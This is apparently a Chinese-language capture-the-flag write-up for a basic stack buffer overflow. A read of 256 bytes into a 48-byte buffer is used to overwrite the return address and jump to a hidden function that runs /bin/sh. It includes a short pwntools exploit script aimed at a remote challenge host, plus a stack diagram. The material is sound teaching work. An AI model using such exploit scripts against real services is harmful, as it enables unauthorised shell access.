例子
1 2 3 4 5 6 7 8 9 10 11
| int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); setvbuf(stderr, 0, 2, 0); puts("Just say something..."); read(0, buf, 0x100u); return 0; }
|
read(0, buf, 0x100u)出现了明显的栈溢出
- 从标准输入(fd=0)中读取 0x100 = 256 字节到
buf 中。
- 但是
buf 只有 48 字节!所以 直接构成栈缓冲区溢出漏洞。
当有 溢出漏洞(比如 buffer overflow)时,程序允许我们“写太多数据”,覆盖重要区域,比如:
- 返回地址
- **函数指针
- vtable 指针
- 结构体内的 sensitive 字段
这样,我们可以:
- 控制程序执行跳转
- 伪造结构体(如 FILE 结构体)
- 泄露敏感信息
这种攻击叫做:
内存破坏类攻击(Memory Corruption)
然后可以在ida找到相应函数
1 2 3 4 5
| int whhhat() { puts("good work!"); return execve("/bin/sh", 0, 0); }
|
地址在00000000004011F7
然后就可以写脚本了
1 2 3 4 5
| from pwn import * io = remote("nc1.ctfplus.cn",38062) payload=b'a'*0x38+p64(0x4011F7) io.send(payload) io.interactive()
|
这里填充0x38(56)个a,对应buf的48个和默认压栈的8个rbp
p64(x) 是 pwntools 中的函数,用来把整数 x 编码成 8 字节(64 位)的小端(Little Endian)格式的二进制数据。
1 2 3 4 5 6 7
| |---------------------| ← 高地址 | return address | ← call 指令压栈(CPU自动) |---------------------| | saved rbp | ← push rbp 压栈(编译器插入) |---------------------| | local variables | ← 局部变量,如 char buf[48] |---------------------| ← rbp 指向这里
|